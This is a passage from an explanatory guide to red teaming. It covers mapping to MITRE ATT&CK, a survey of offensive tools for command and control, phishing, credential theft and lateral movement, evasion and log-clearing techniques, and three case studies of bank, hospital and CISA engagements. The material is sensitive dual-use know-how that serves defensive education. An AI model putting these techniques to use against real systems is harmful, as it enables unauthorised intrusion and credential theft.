• Execution and Tracking: Some red teams use the ATT&CK Navigator (an online tool by MITRE) to keep track of which techniques they have executed during the engagement. As they progress, they can mark techniques as successful, detected, etc. This creates a visual “heat map” of what parts of the ATT&CK matrix were used and which were effective or not. It’s particularly useful in long engagements to ensure they’re hitting a variety of tactics. For example, they might realize they’ve used plenty of Privilege Escalation and Credential Access techniques, but haven’t needed any Persistence techniques because they maintained continuous access – that itself is a finding (maybe persistence wasn’t needed due to weak continuous access controls). Or if a certain Defense Evasion technique (like obfuscating their PowerShell scripts) proved unnecessary because nothing flagged them anyway, that says something about the state of defenses.
• Reporting and Mapping Detections: After the engagement, as mentioned, mapping everything to ATT&CK provides a structured way to discuss what happened. The report can include a matrix with highlighted cells for each technique the red team attempted, color-coded by whether it succeeded, was detected, or was blocked. This gives the blue team a clear roadmap: if a technique was not detected, that’s a gap to address; if it was detected, that’s a strength to maintain (but perhaps the response needed improvement, etc.). ATT&CK also helps when communicating to executives or regulators – it abstractly shows coverage of tactics. For instance, you could state: “Our red team test covered 10 of the 14 ATT&CK tactics; notably, no techniques in the Exfiltration or Impact categories were detected by our current controls, indicating the need for better monitoring in those areas.” This aligns security improvement efforts with an industry-standard framework.
• Adversary Emulation Plans: MITRE itself has developed adversary emulation plans for certain APT groups, which are essentially step-by-step playbooks aligned with ATT&CK techniques. A famous example is the APT3 emulation plan MITRE released. Red teams can leverage these plans as a starting point, tailoring them to the target environment. For example, an emulation plan might say: “Technique 1: Spearphishing with a trojanized document (T1566, T1204) – expected result: user opens and C2 beacon installed. Technique 2: Use stolen credentials to access VPN (T1078)…” and so forth. By following a MITRE plan, the red team ensures they are following a realistic sequence observed in real intrusions.
• Purple Teaming and Detection Engineering: Beyond red team ops, ATT&CK is central to purple team exerciseswhere red and blue collaborate. In some cases, after the red team engagement, a purple team session is conducted to replay certain techniques in a controlled manner and see if detections can be tuned to catch them. Tools like Atomic Red Team (an open-source library of scripted ATT&CK technique tests) allow the team to execute specific techniques individually to validate detection. For example, if the red team used Mimikatz (Credential Dumping – technique T1003) without being caught, the blue team can later run an Atomic test for that technique on a test machine and develop an alert for it, then roll that detection into production. In this way, ATT&CK acts as the checklist for coverage: the goal is to improve so that most techniques attempted by a red team would be caught in the future.

In summary, MITRE ATT&CK enhances red teaming by providing a structured framework for adversary behaviors. Red teams use it to ensure they emulate threats comprehensively and communicate results in a standardized way. Blue teams use it to measure and improve their defenses. This common lexicon breaks down communication barriers between offensive and defensive practitioners – everyone can point to an ATT&CK technique ID and understand what was done or what needs to be done. As RedTeam.Guide succinctly puts it, “ATT&CK is useful for understanding security risk against known adversary behavior, for planning security improvements, and verifying defenses work as expected.”. In the context of red teaming, this means your simulated attack is grounded in reality and your improvements can be targeted where they matter most.

With methodology and frameworks covered, let’s turn our attention to the tools and techniques that enable red teams to execute these complex operations. Understanding the toolset gives insight into how red teamers achieve their magic – and subsequently, how to defend against it.

Tools and Techniques of the Red Team Trade

Red teamers are often likened to advanced attackers in their tool usage, and indeed there’s a substantial overlap. The arsenal of a red team includes a mix of open-source tools, commercial platforms, custom scripts, and living-off-the-land techniques. For defenders (and managers) it’s useful to know what kinds of tools might be used against them in an exercise, as these tools often leave telltale signatures – and conversely, some are designed explicitly to evade detection. Below we outline key categories of red team tools and examples of each, shedding light on how they are used in engagements:

Command-and-Control (C2) Frameworks and Post-Exploitation Platforms

These are the cornerstone of modern red team operations. C2 frameworks allow red teamers to maintain stealthy control over compromised systems, coordinate multiple compromised hosts, and execute payloads or modules as needed. Think of them as the “mothership” from which the red team orchestrates the attack after initial entry.

• Cobalt Strike: Often considered the gold standard of red team tools, Cobalt Strike is a commercial adversary simulation software. It provides a robust C2 server and deployable agents called Beacons that are highly configurable to evade detection. Once a beacon is running on a victim machine, the red team can issue commands, dump credentials, take screenshots, pivot to other systems, etc., all through Cobalt Strike’s interface. Beacons can communicate over common protocols (HTTP/HTTPS, DNS, SMB named pipes, etc.) and can be throttled to low-and-slow communication to avoid notice. Cobalt Strike also has features for collaboration (multiple team members controlling beacons) and reporting. Because of its power and popularity, Cobalt Strike has also been widely used by real threat actors – unfortunately, cracked versions have proliferated and many breaches have involved Cobalt Strike beacon implants. This dual-use nature means many EDR tools look specifically for Cobalt Strike patterns, so red teams often have to customize or obfuscate it. Still, it remains a go-to for many professionals.
• Brute Ratel C4 (BRC4): Brute Ratel is a newer entrant (commercial) that markets itself as a more advanced, less detectable C2 framework, explicitly designed to evade EDR and antivirus. Its agent is called Badger, and like Cobalt’s Beacon, it can perform a wide range of post-exploitation tasks. Brute Ratel supports peer-to-peer communications between compromised hosts (Badger-to-Badger) and flexible network protocols (HTTP, HTTPS, DNS over HTTPS) for C2. It initially gained notoriety as threat actors like ransomware groups started using it to bypass defenses. A leaked copy in 2022 made it more accessible, but it’s still far less common than Cobalt Strike in the wild. Red teams might choose Brute Ratel specifically when they suspect the target has strong defenses tuned against Cobalt Strike. The cat-and-mouse game continues: once Brute Ratel became known, EDR vendors also started writing detections for it. According to Sophos research, as of 2023 Brute Ratel was rarely detected in the wild compared to Cobalt Strike, implying it can still be quite stealthy when used sparingly.
• Sliver: Sliver is an open-source adversary simulation framework, often cited as an “open-source alternative to Cobalt Strike.” Developed by BishopFox, Sliver supports C2 implants for multiple platforms (Windows, Linux, Mac) and offers a range of post-exploitation capabilities. Because it’s open-source, it’s attractive to teams on a budget or those who want to customize the code. It also tends to have a different behavior profile than Cobalt Strike, so it can sometimes evade tools that are focused on detecting Cobalt Strike’s hallmarks. Sliver can use mTLS (mutual TLS) for communication, making it harder for defenders to intercept. Red teams may use Sliver if they prefer not dealing with licenses or if they want to integrate it with other custom tooling via its APIs.
• Metasploit Framework: The Metasploit Framework is a long-standing open-source penetration testing framework. While not a full-fledged C2 platform in the way Cobalt Strike is, Metasploit provides hundreds of exploit modules and post-exploitation modules, including the Meterpreter payload which gives an interactive shell with many capabilities. In red teaming, Metasploit might be used for the initial exploitation phase – for example, to exploit a known vulnerability and drop a Meterpreter shell. Meterpreter can migrate between processes, load extensions (e.g., for dumping hashes), and communicate over encrypted channels. However, Meterpreter is fairly well-known to defensive tools at this point (it’s been around for over a decade), so using it without modification can be noisy. Still, it’s a powerful tool for quick wins and is often part of a red team toolkit. In long engagements, though, teams often “move on” from Meterpreter to their C2 of choice (like deploying a Beacon), because Metasploit by itself isn’t as feature-rich for multi-host control.
• Other Frameworks: There are many others – Mythic is an open-source C2 platform that is modular (with different agent types like Apollo, Poseidon), Covenant (a .NET C2 framework), PoshC2 (PowerShell-based C2), Empire(PowerShell Empire, though discontinued, was popular for a while), HAVOC (an emerging open-source C2). Each has its strengths; for example, Covenant and Empire are built on PowerShell/.NET so they can live off the land in Windows environments (but PowerShell is heavily monitored in many orgs now).

Red teams often use multiple C2 channels simultaneously for redundancy. They might have one very covert low-bandwidth beacon that phones home once every few hours, and another more interactive one for real-time control. If one gets detected and shut down, they have a fallback. They also set up multiple redirectors or team servers – these are intermediate VPS machines that relay traffic to the actual C2, to mask its IP and make it harder for defenders to trace or block the C2 server. Building a resilient C2 infrastructure is almost an art in red teaming.

From a defender’s perspective, knowing these frameworks means you can look for indicators like unusual network egress (to cloud or strange domains), suspicious processes (e.g., rundll32 spawning whoami could be a Beacon checking its context), or memory patterns that match known implants. Some organizations even run fake beacons in their network (honeytokens) to see if a red team or real attacker touches them, indicating someone is running a C2.

Initial Access and Delivery Tools

For the initial compromise, red teams rely on tools that facilitate phishing, payload delivery, and exploit execution. Some notable ones include:

• Phishing Frameworks (GoPhish, King Phisher): Tools like GoPhish are popular for managing phishing campaigns in a red team engagement. GoPhish lets you create email templates, clone login pages, send emails at scale, and track who clicks or enters credentials. It’s basically a one-stop platform for phishing exercises. Red teams use it to craft convincing emails (often after recon provides good lures) and capture credentials or drop malware. The phishing sites can be stood up on lookalike domains (typosquatting the company’s domain or using a theme like a fake VPN portal). The moment a user submits credentials, GoPhish records it and often redirects the user to a benign page or error – so the phish isn’t obvious. Other similar tools and services exist, but many red teams like the control of GoPhish or PhishMe for more complex scenarios.
• Adversary-in-the-Middle (AiTM) Tools: As companies adopt MFA, red teams have upped their game with tools like Evilginx2 which proxy a real login page to the user, allowing the attacker to steal not just the password but also the session cookie (bypassing MFA). Evilginx2 acts as a man-in-the-middle: the user sees the real login page (say Office 365) and even completes MFA, but the tool captures the auth tokens. This was used by real-world phishing kits and is now a standard red team technique when facing MFA. If a red team successfully harvests an OAuth token or session cookie, they can often login directly to cloud services as that user, bypassing MFA because the session is already authenticated.
• Malicious Document Builders (Phishery, Luckystrike, etc.): Often, the phishing payload is a document (Office macro, PDF with script) because organizations may block .exe attachments. Tools exist to weaponize documents. For example, Phishery can create a Word doc that pulls in a remote template (triggering a credential prompt), or there are macro builders that obfuscate VB scripts to drop payloads. Silver Bullet or Luckystrike were community tools to generate malicious Office docs with encoded payloads. These help red teams package their malware (like a beacon loader) into an innocuous-looking file (like an Excel spreadsheet named “Q4_financial_report.xlsm”).
• Impacket toolkit: Impacket is a collection of Python scripts for various network protocols and attack tasks. For initial access, Impacket has tools like wmiexec.py, psexec.py (which can be used if credentials are known to execute a payload as a service), and atexec.py. Red teams might use Impacket after getting one credential to try connecting around. It’s more of a lateral tool, but if the red team obtains, say, a hash from a phishing result, they could use Impacket’s ntlmrelay or pass-the-hash tools to gain access.
• Exploits and Frameworks: If targeting known vulnerabilities, red teamers might use specific exploit scripts or frameworks like Metasploit as noted. For example, to gain initial foothold via a web vulnerability, they might use a SQLmap for SQL injection or a custom script for a recent CVE. If exploiting Active Directory externally (like ZeroLogon or ProxyShell in Exchange), they’ll use those exploit implementations. Often, these are one-off tools for the particular exploit rather than an all-in-one platform.
• USB Drop Devices: If physical is in play, a classic technique is dropping USB sticks or Rubber Duckies in parking lots or common areas. A Rubber Ducky is a programmable USB keystroke injector that, when plugged in, acts like a keyboard and types a pre-scripted sequence (e.g., opening a Powershell and downloading a payload). A red team might leave these lying around labeled “Salary.xlsx” to tempt someone. Upon insertion, it could give the red team a shell. There are also devices like the Bash Bunny and LAN Turtle that can be used if plugged into a network port to establish a backdoor channel out.

In practice, initial access tool usage depends on what the target is most likely to fall for. Many red teams report that phishing is by far the most common initial vector because it reliably works – even with training, a few clicks can happen, and it’s low cost. Technical exploits are used if a high-value external vuln is found or if the engagement scenario calls for a no-user-interaction compromise (e.g., assume a state-sponsored attacker who finds a zero-day).

Privilege Escalation and Credential Theft Tools

After getting on a machine, as discussed, privilege escalation and credential access are key. Some tools/techniques in this space:

• Mimikatz: We’ve mentioned it and it deserves repeating – Mimikatz is the quintessential tool to steal Windows credentials from memory. With one command, it can dump cleartext passwords, NTLM hashes, and Kerberos tickets (if any are present) from the Local Security Authority Subsystem (LSASS) process. Red teams often reflectively load Mimikatz in memory to avoid writing it to disk (since many AV signatures exist for it). They might use a variant or just use Cobalt Strike’s built-in dump_credentials which is essentially Mimikatz under the hood. Obtaining credentials via Mimikatz often yields domain admin hashes or tickets if run on a high-value machine, which can then be used for lateral movement (Pass-the-Hash or Pass-the-Ticket). It’s so effective that many consider any domain joined Windows machine “game over” if the attacker can run Mimikatz on it and the organization hasn’t enabled Credential Guard or LSASS protections.
• Kerberos Attacks (Rubeus, Kekeo): Tools like Rubeus (C# tool) and Kekeo (by the author of Mimikatz) help with Kerberos ticket manipulation. Red teams might use Rubeus to perform Kerberoasting (requesting service tickets to crack offline) or to forge tickets if they got the krbtgt hash (Golden Ticket attack). These are more specialized but extremely powerful for privilege escalation in AD environments. For example, if they get a ticket-granting ticket (TGT) of a user, they can perform pass-the-ticket to impersonate that user anywhere.
• LSASS Dump & Crack: If they can’t run Mimikatz live due to EDR, another trick is to dump the LSASS process memory to a file (using something like ProcDump or comsvcs.dll MiniDump) and exfiltrate that for offline credential extraction. Some EDR solutions block direct Mimikatz patterns but might miss a memory dump exfiltration. Then the red team can run Mimikatz on their own machine to parse it.
• Privilege Escalation Scripts (WinPEAS, LinPEAS): The PEAS suite are enumeration scripts (WinPEAS for Windows, LinPEAS for Linux) that systematically check a compromised system for misconfigurations or vulnerabilities that could allow privilege escalation. Red teamers might deploy WinPEAS on a low-priv user shell to quickly find things like: AlwaysInstallElevated registry setting (which allows MSI escalation), vulnerable driver versions, accessible credentials in files, etc. If something juicy is found (e.g., an encrypted admin password in a config file), they pursue that. PowerUp is another PowerShell script for Windows escalation checks. On Linux, LinPEAS and Linux Priv Checker do similar tasks (looking for world-writable sudo or cron jobs, etc.).
• Token Impersonation (incognito, etc.): On Windows, if the user has admin rights, token impersonation can be done to escalate to SYSTEM or another user. Tools like Incognito (integrated in Metasploit and Cobalt) can list and impersonate tokens. For instance, if a service running as SYSTEM has a token that a user can impersonate, the red team can escalate to SYSTEM without a kernel exploit.
• LaZagne: LaZagne is an open-source tool that extracts passwords stored on a machine (browser passwords, Wi-Fi keys, database creds, etc.). Red teamers might run LaZagne on a compromised host to gather additional creds that user had saved, which might include RDP passwords or other app credentials that could be reused elsewhere.

In essence, these tools help answer, “How do we go from User to Admin, and how do we harvest credentials to reuse on other systems?” Many of them are dual-use (used by pentesters and criminals alike). A big part of red team skill is using these without tripping alarms – for example, running Mimikatz might get caught, so maybe they use an alternative like SafetyKatz (a modified Mimikatz loader) or they perform the attack in memory only via C2’s built-in tools.

Lateral Movement and Post-Exploitation Utilities

As the red team extends control, they rely on various utilities to pivot between machines and domains:

• BloodHound: BloodHound was mentioned earlier – it’s a tool that maps out Active Directory relationships to find the shortest path to high privileges. Red teams often use BloodHound early post-compromise because it can reveal non-obvious routes like “User A is a local admin on Machine B; Machine B has a session by Domain Admin C”. That path means compromising User A (maybe through phishing or an exploit) could indirectly lead to Domain Admin C if one hops through Machine B. BloodHound requires collecting data (via an ingestor like SharpHound). Running SharpHound on a domain-connected machine will enumerate AD objects and output a JSON or CSV of relationships, which the red team then analyzes offline. If an environment is large and complex, BloodHound is almost indispensable to not get lost in the weeds.
• CrackMapExec (CME): CME is a powerful tool for lateral movement and credential abuse. It allows red teamers to spray credentials across the network, enumerate shares, and execute commands remotely, all in one interface. For example, if the red team finds credentials for a domain admin, they can use CME to quickly confirm which hosts those creds work on (spoiler: if it’s domain admin, likely all hosts). Or if they have a list of user hashes, CME can attempt to authenticate on many hosts to see where those users have local admin rights. It streamlines many Windows network attack tasks.
• Impacket suite: In addition to initial access, Impacket’s scripts shine in lateral movement too. For instance:
  • psexec.py – uses SMB and a service to execute a payload on a remote host (effectively an admin share access similar to Microsoft’s PsExec tool).
  • smbexec.py – similar goal, but works over SMB.
  • wmiexec.py – executes via WMI, often leaving no file (runs commands through WMI).
  • dcomexec.py – uses DCOM for execution.
  • atexec.py – uses Scheduled Tasks.

Each of these might be tried if one method is blocked or more noisy. WMI exec is stealthier than psexec because it doesn’t drop an EXE on disk. Red teams often test various methods; if EDR alerts on one, they may switch to another.

• Remote Administration Tools: Sometimes the simplest way to move is to use built-in admin tools. For example, if they have valid credentials, they might use RDP to log into a server (though RDP usage can trigger alerts or lock out users if not careful). They could also use SSH on Linux or network devices. The concept of “living off the land” means using whatever administration channels exist, so it’s not always about fancy exploits. That said, using built-in channels is a double-edged sword – it may blend in, or it may stick out if, say, an employee account suddenly logs into a domain controller at 3 AM.
• File Transfer and Execution: The team will need to move tools around internally. They might stand up a simple HTTP server on one host and use PowerShell’s Invoke-WebRequest on another to pull files. Or use SMB shares. They often compress tools in ZIPs or use scripts to encode binaries (to bypass simple file inspection). The concept of a “staging server” internally can appear – maybe one compromised host with a lot of open network connectivity is used to host files for further exploitation.
• Bypassing Privileged Access Workstations: Some orgs have separate admin workstations that aren’t supposed to go online. Red teams test if admins ever violate that or if there’s a path from a user machine to an admin’s machine (perhaps through cached credentials or shared access). This is more specific, but tools don’t directly solve it – it’s a strategy where BloodHound might identify that an admin logged into a user box, leaving behind credentials.
• Persistence Techniques: We mentioned some like scheduled tasks, services, registry run keys. Tools like ShellKitu or Empire’s modules can establish persistence. Even creating a new service that auto-starts (pointing to their malware) is a persistence. Or adding themselves to an Active Directory startup script GPO so their code runs on many machines. Those require high privileges though.

The key for lateral movement is flexibility – if one avenue is closed, a red team tries another. Sometimes old-school techniques work: e.g., dumping the NTDS.dit (AD database) from a domain controller to get all password hashes is an ultimate jackpot. That can be done via tools like NTDSUtil or Volume Shadow Copy exploit if they have DC access.

Evasion and Anti-Forensics

Because modern environments have many security controls (AV, EDR, logging, firewalls), red teams employ various evasion techniques:

• Obfuscation: Scripts and payloads are obfuscated to avoid signature detection. Simple example: encoding PowerShell commands in Base64 and compressing them. More complex: using tools like Invoke-Obfuscation for PowerShell, or custom packers for binaries. Many red team C2 frameworks allow you to adjust how the implant looks in memory (stomping PE headers, encrypting strings, etc.).
• Custom Malware Loaders: Instead of using known binaries, red teams may write their own lightweight loader that fetches shellcode for Beacon or other implants. By using a custom loader (perhaps in C++ or C#), they create something that antivirus hasn’t seen before. These loaders often use syscalls directly to avoid API monitoring by EDR. There’s a whole field of tradecraft here (IAT vs direct syscalls, memory permission trickery, etc.) that advanced red teamers use.
• “Living off the Land Binaries” (LOLBins): Windows and Linux have many trusted binaries that can be abused to execute code or scripts (e.g., rundll32.exe, regsvr32.exe, mshta.exe on Windows; or bash, python on Linux if available). Red teams use these to execute their payloads in a way that might look legitimate. For instance, embedding malicious script in an HTML application and using mshta.exe to run it (so the process looks like mshta running, which might be overlooked). There are curated lists of LOLBins that attackers use, and red teamers follow the same.
• Clearing Logs and Hiding Artifacts: Anti-forensics measures include deleting event logs (PowerShell’s Remove-EventLog or clearing Windows Event Logs), disabling audit logging if possible, or at least removing their own entries (some malware will automatically clear the security log on gaining SYSTEM – though that in itself can raise an alarm if done indiscriminately). They might also remove any files they dropped, and move in memory as much as possible. If they create accounts or change settings, they often remove or revert those changes near the end (except where needed for persistence).
• Network Evasion: Using encrypted channels (which is standard for C2) helps evade content inspection. Some red teams also blend traffic with common sites – e.g., make C2 traffic appear to go to a domain that looks like a legit service. There’s also technique of domain fronting (using a cloud provider’s domain as a cover) that was popular until some providers closed it. For example, a Beacon might connect to azureedge.net which is allowed, but actually get routed to the attacker’s server.
• Executing in Safe Mode: A clever trick used by some ransomware and red teams – rebooting a machine into Safe Mode (where many security agents might not run) and then doing actions. This is situational but can defeat some endpoint protections momentarily.

The constant arms race means red teamers keep up with blogs and research from the offensive community about new bypasses. For instance, when AMSI (Anti-Malware Scan Interface) started catching PowerShell scripts, red teams quickly incorporated AMSI bypass code to disable it in memory. When EDRs got better at hooking sensitive API calls (like those to LSASS for dumping), red teams adopted direct system calls to avoid those hooks.

From a defender standpoint, understanding these tools and techniques means you can anticipate what a sophisticated attacker (or red team) might throw at you. It underpins why defense in depth is needed: even if your firewall stops Metasploit, a phishing email might bypass it; even if your antivirus catches Mimikatz on disk, an in-memory variant might slip by, etc. It also underscores the importance of behavior-based detection (monitoring for suspicious behavior) rather than solely signature-based (which these tools are designed to evade).

To summarize this section, red teamers leverage a wide range of tools at each stage of their attack: from phishing kits and exploit frameworks for the breach, through credential dumpers and network utilities for expansion, to full-fledged C2 suites for control and stealth. These tools, many of which are freely available or widely used in pentesting, enable a small team of operators to simulate the capabilities of far larger adversaries by automating and streamlining complex attacks. Security leaders don’t necessarily need to master each tool, but should be aware of their general capabilities – it helps in interpreting red team reports (e.g., knowing what “they ran BloodHound and discovered a path to DA” means) and in preparing the defense (e.g., ensuring your SOC is aware of Cobalt Strike beacons or unusual use of rundll32).

With a solid grounding in red team methodology and tooling, let’s pivot to examining some real-world case studies of red teaming. These will illustrate how the concepts come together in pracstice and what lessons organizations have learned from these exercises.

Real-World Red Teaming in Action: Case Studies and Lessons

Nothing drives home the value of red teaming like concrete examples. In this section, we’ll look at a few real or representative case studies of red team engagements. These range from simulated cyber heists at financial institutions to physical intrusion tests. Each scenario highlights different aspects of red teaming and provides lessons for improving security:

Case Study 1: “Stealing Millions” from a Bank (Financial Sector Red Team Exercise)

A large bank engaged a third-party red team to conduct an intelligence-driven attack simulation – essentially pretending to be an advanced criminal group aiming to steal money or data. The red team worked over several weeks, and their approach was multi-faceted:

• Initial Foothold via Social Engineering: Using threat intel, the red team learned that the bank’s employees had been targeted by phishing in the past. They decided to start with a spear-phishing campaign. After detailed recon, they sent emails to a set of employees in finance and IT, spoofing internal addresses. One email, for example, pretended to be an urgent IT security update requiring a login. Despite the bank’s security awareness training, a few users clicked and entered their credentials on the fake site, and at least one also downloaded a malicious attachment. The red team thus obtained several valid user credentials and a foothold on an employee workstation via malware. About 15% of targeted employees fell for the phishing, revealing that user awareness was not foolproof. The immediate lesson was reinforcing the need for continuous phishing awareness and technical controls like MFA, which would have prevented the stolen passwords from being enough to breach accounts.
• Bypassing MFA and Deepening Access: The bank had multifactor authentication on its VPN, which initially thwarted the red team from using the stolen passwords remotely. However, one of the phished machines turned out to be a VPN-connected laptop. The red team’s malware on that machine piggybacked on the active VPN session to move laterally into the internal network. Once inside, they discovered that many workstations, including that of a domain admin, still had local administrator accounts with a default password across the fleet (a legacy issue). They used credentials from the phished user to extract the local admin hash, reused it on another machine (Pass-the-Hash), and eventually reached a system where a domain admin was logged in – allowing them to hijack a domain admin token. Within a few days, the red team quietly achieved Domain Admin access. No alerts were triggered to the SOC during this escalation.
• Critical Impact and “Heist” Simulation: With full domain privileges, the red team had many options. They identified the systems handling money transfers (SWIFT transaction servers) as the crown jewel for the “heist” scenario. Instead of actually moving money (which would be too risky in a test), they simulated transactions and demonstrated the ability to authorize large transfers. They also located databases with millions of customer records. To show a data breach aspect, they exfiltrated a sample of sensitive customer data (in encrypted form) out through their C2 channel. All of this was done without tripping any alarms—the bank’s monitoring did not catch the lateral movements or the data egress over an encrypted channel that looked like normal HTTPS.
• Detection Finally Tripped: Interestingly, the bank’s SOC did notice something, but not what you’d expect. They saw an alert for a known malware signature on one workstation (a residue of the red team’s initial phishing malware that wasn’t fully cleaned by the red team’s evasion). However, the alert was low priority and treated as a generic infection, with no connection made to the wider breach unfolding. This points to a common issue: even when alerts fire, if they’re not contextualized or are lost in a sea of noise, they may not lead to action. The red team was effectively “hiding in the noise” of the bank’s everyday minor malware detections.
• Outcome and Remediation: In the debrief, the red team demonstrated step-by-step how they went from a clicked email to dominating the bank’s network and having the ability to move millions or leak data. This was eye-opening to bank executives and the defense team. Key takeaways included:
  • The need to enforce MFA everywhere, including internal critical systems, not just at the VPN. The one-time code on VPN stopped external use of creds, but once inside, the same creds gave wide access.
  • Eliminate shared local admin passwords and use unique creds or disable those accounts (the weakness that enabled easy lateral jumps).
  • Improve network segmentation so that a user VPN zone couldn’t directly reach payment systems without additional checks.
  • Upgrade detection capabilities to catch lateral movement – for instance, monitor use of local admin accounts and unusual logins by privileged accounts.
  • Continue security awareness but compliment it with phishing-resistant tech (like FIDO2 security keys for critical logins).

The bank treated it as a success in that it’s far better to learn these in a simulated exercise than from a real breach. Indeed, such exercises have become part of regulatory expectations in financial sector (as we discuss later). As a regulatory red team test (e.g., CBEST or TIBER style), this provided both the bank and the regulator evidence of where gaps were and that a plan was needed to address them.

Case Study 2: Red Teaming a Hospital – Testing Physical and Cyber Defenses

Not all red team engagements are purely digital. One exercise involved a healthcare provider (a hospital) wanting a full assessment of both their IT security and physical security controls, given the rising threat of healthcare breaches. The red team planned a multi-prong test:

• Physical Intrusion: Two red team members posed as an outside HVAC repair crew, complete with uniforms and fake work orders. They attempted to enter the hospital’s facilities. Remarkably, they encountered little resistance – they walked into several restricted areas by tailgating behind staff or exploiting propped-open doors. They gained after-hours access to an administrative office by jigging a lock (the hospital had standard door locks that were easily pickable). Once inside these areas, they found sensitive patient records left in the open(on a desk in a staff lounge, for instance) and network ports that they could connect a small device to. This part of the test showed glaring physical security issues: insufficient access control enforcement, lack of staff challenge for unfamiliar people, and poor clean-desk discipline with sensitive data. The team even managed to plug a “drop box” computer into a network jack in a meeting room, which later allowed them remote network access.
• Network Attack via Wired Access: Using the planted device, the red team got into the hospital’s internal network (bypassing the external firewall entirely since they were now essentially an internal user). The device called back to them over a cellular network. From there, they scanned and found a vulnerable legacy server (an old radiology imaging server) that had an unpatched Windows flaw. Exploiting it, they took over that server and leveraged it to pivot deeper (extracting credentials of its users, etc.). They eventually gained domain admin (the hospital’s IT had a single domain for everything, and some admins had logged into that old server at some point leaving cached creds).
• Social Engineering: In parallel, the red team also tested staff via phishing phone calls. One team member called the hospital’s helpdesk pretending to be a doctor who was urgently locked out of his account. Through charm and pressure, they convinced the helpdesk to reset the password to a provided new one. This gave them a valid user account on the network (albeit one without high privileges). It showcased a social engineering gap in IT support procedures – helpdesk should have verified identity more strictly.
• Impact: With domain admin rights acquired from the internal exploit route, the red team had effectively full control. They demonstrated they could access the database that stored patient medical records (EMR system) and they pulled a subset of records (in a safe manner). They also planted a benign file on a critical system to show they could have deployed ransomware if they wanted, which would have crippled operations. They did not actually encrypt anything, of course, but simulation of it was enough to discuss impact.
• Outcome: The findings were stark. The physical security weaknesses were perhaps the most immediate fix: the hospital realized they needed to train staff to challenge unauthorized persons, improve door locks or add badge access even to areas that were presumed low sensitivity, and enforce clean desk and secure storage of paperwork. On the cyber side, they needed network segmentation (why could a random meeting room port reach the entire domain network?), patch management for legacy systems (or isolate them if they can’t be patched), and improved policies for helpdesk authentication. They also saw that while they had decent perimeter security (firewalls, etc.), once an attacker was inside, their detection was nil – the red team roamed freely. So they invested in internal network monitoring, such as IDS on internal segments and tighter EDR deployment across servers, and also procedures to quickly notice foreign devices plugged into the network (network access control systems could help). This case demonstrates how red teaming can cross the boundary between physical and IT security, and why organizations must think holistically about security – a door left open can be as bad as a software vulnerability.

Case Study 3: CISA Red Team Assessment of a Critical Infrastructure Company

The U.S. Cybersecurity and Infrastructure Security Agency (CISA) conducts free red team assessments for certain critical infrastructure organizations, and they publicly share anonymized results for lessons learned. In one such case in 2024, CISA’s red team assessed a large critical infrastructure org (e.g., an energy or transportation company). The results, published in a CISA advisory, highlight common issues:

• Initial Compromise from a Forgotten Entry: The red team didn’t even need to phish or exploit anew – they found a web shell left on a DMZ web server from a prior engagement and used it to gain immediate entry. This underscores how important it is to fully remediate and clean up after any tests or incidents. The organization had presumably done a pen test before and either the testers or a real attacker had left a backdoor, which remained available.
• Moving Through the Network: From the web server in the DMZ, the red team moved into the internal network, exploiting weak network segmentation. They then compromised the Windows domain (via some combination of credential theft and exploiting inadequate network monitoring). They reached several sensitive business systems (SBS)that were critical for operations. The advisory noted the red team “fully compromised the organization’s domain and several sensitive business systems”.
• Detection Failures: The organization’s SOC did catch an early sign – they “discovered evidence of the red team’s initial activity” – but failed to act promptly. Furthermore, they did not detect the subsequent lateral movement through the DMZ and into the core network, nor challenge the suspicious activity once the red team was in the Windows environment. A critical finding was that the organization relied too heavily on endpoint security and lacked network-level monitoring, so when the red team used legitimate credentials and blended in on the network, no alarms rang. The defenders also didn’t properly investigate the odd web shell that was found; had they, they might have stopped the intrusion early.
• Key Findings: CISA highlighted lessons such as the need for “sufficient controls to detect and respond” – the target had insufficient technical controls, leaning only on host-based EDR which isn’t a silver bullet. Network segmentation and inspection were lacking. Also, the need for continuous training of staff was pointed out. Essentially, CISA pointed out that detection technology alone wasn’t enough; people and process failed to react to the signs of intrusion, which is a human issue to fix (more drills, clearer playbooks on what to do if X is detected). This case illustrates that even organizations considered vital and presumably better prepared can have basic lapses that a red team (or real attacker) will exploit. The organization took the findings to heart and presumably started shoring up those gaps, including scrubbing all systems for any other “forgotten” backdoors.

These case studies collectively teach some broad lessons:

• People and Process are as crucial as Tech: In all cases, human factors (clicking a phish, not monitoring logs, helpdesk not following protocol, guards not challenging entrants) were instrumental to the red team’s success. Red teaming tests those factors in ways a vulnerability scan cannot. Organizations often discover that security awareness, staff training, and cross-department communication need improvements as much as any firewall or patch.
• Fundamental Security Practices Matter: Simple issues like reused passwords, unpatched systems, flat networks, and forgotten accounts show up repeatedly. Red teams often succeed by exploiting these low-hanging fruits that persist in many environments. Fixing these basics (patching, principle of least privilege, 2FA, segmentation) dramatically raises the bar against both red teams and real threats.
• Detection and Response Gaps: A common theme is that organizations either didn’t detect the red team at all or did so late or without understanding. This emphasizes the need for robust detection engineering – things like monitoring for unusual admin actions, using honeypots or canaries (e.g., a fake account that no one should ever use – if someone tries to use it, that’s likely an attacker), and ensuring alerts are investigated rigorously. Red team reports often provide a timeline that can be compared against SIEM logs to see what was missed. This can be invaluable for tuning the SOC’s processes.
• Value of Intelligence-led Scenarios: Especially in the bank and CISA examples, using realistic adversary techniques made the tests relevant. For the bank, it was like facing a top-tier cybercriminal operation; for the CISA case, it mirrored how an APT might silently use an old backdoor. This way, the outcomes speak directly to the risk scenarios management cares about (e.g., “could someone steal millions?” “could nation-state X disrupt us?”). It adds credibility and urgency to remediation when the scenario is believable.

Ultimately, these stories underscore why red teaming is considered a “gold standard” test of security maturity. They often reveal the unknown unknowns – the combination of minor weaknesses that lead to major compromise – in a way no compliance audit or automated scan could. And equally important, they underscore success stories: perhaps a control did stop the red team at one point (like MFA at the VPN in the bank case delayed them). Those successes validate investments and need to be replicated elsewhere.

Having explored these examples, we can now move on to best practices for building and managing red teams, both internal and external. Additionally, we’ll discuss how different industries approach red teaming (especially financial services and how that extends to Southeast Asia). The case studies will serve as reference points for why those best practices and industry frameworks exist as they do.

Building and Managing an Effective Red Team Program (Internal vs. External)

Implementing red teaming in an organization can take different forms. Some large enterprises build internal red teams– dedicated employees who continuously test the company’s security. Others rely on third-party firms for annual or periodic red team engagements. Many do a mix of both (an internal team for ongoing “purple” exercises and external teams for objective assessments or regulatory tests). In this section, we will explore best practices for setting up and managing a red team program, whether in-house or outsourced, and how to get the best value from each approach.

Internal Red Teams (In-House Adversaries)

